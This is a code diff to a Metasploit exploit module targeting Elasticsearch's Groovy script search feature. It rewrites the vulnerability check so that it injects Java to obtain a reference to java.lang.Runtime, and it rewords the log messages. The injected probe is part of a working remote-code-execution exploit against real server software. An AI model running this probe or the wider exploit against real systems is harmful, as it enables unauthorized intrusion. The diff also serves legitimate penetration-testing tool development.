Update check

modules/exploits/multi/elasticsearch/search_groovy_script.rb

@@ -99,33 +99,30 @@ class Metasploit3 < Msf::Exploit::Remote
   end
 
   def vulnerable?
-    addend_one = rand_text_numeric(rand(3) + 1).to_i
-    addend_two = rand_text_numeric(rand(3) + 1).to_i
-    sum = addend_one + addend_two
+    java = 'java.lang.Math.class.forName("java.lang.Runtime")'
 
-    java = java_sum([addend_one, addend_two])
-
-    vprint_status("#{peer} attempting to execute '#{java}' in Java")
+    vprint_status("#{peer} - Trying to get a reference to java.lang.Runtime...")
     res = execute(java)
     result = parse_result(res)
 
     if result.nil?
-      vprint_status("#{peer} no response to executed Java")
+      vprint_status("#{peer} - no response to test")
       return false
-    else
-      vprint_status("#{peer} response to executed Java: #{result}")
-      result.to_i == sum
+    elsif result == 'class java.lang.Runtime'
+      return true
     end
+
+    false
   end
 
   def parse_result(res)
     unless res
-      vprint_error("#{peer} no response")
+      vprint_error("#{peer} - No response")
       return nil
     end
 
     unless res.code == 200 && res.body
-      vprint_error("#{peer} responded with HTTP code #{res.code} (with#{res.body ? '' : 'out'} a body)")
+      vprint_error("#{peer} - Target answered with HTTP code #{res.code} (with#{res.body ? '' : 'out'} a body)")
       return nil
     end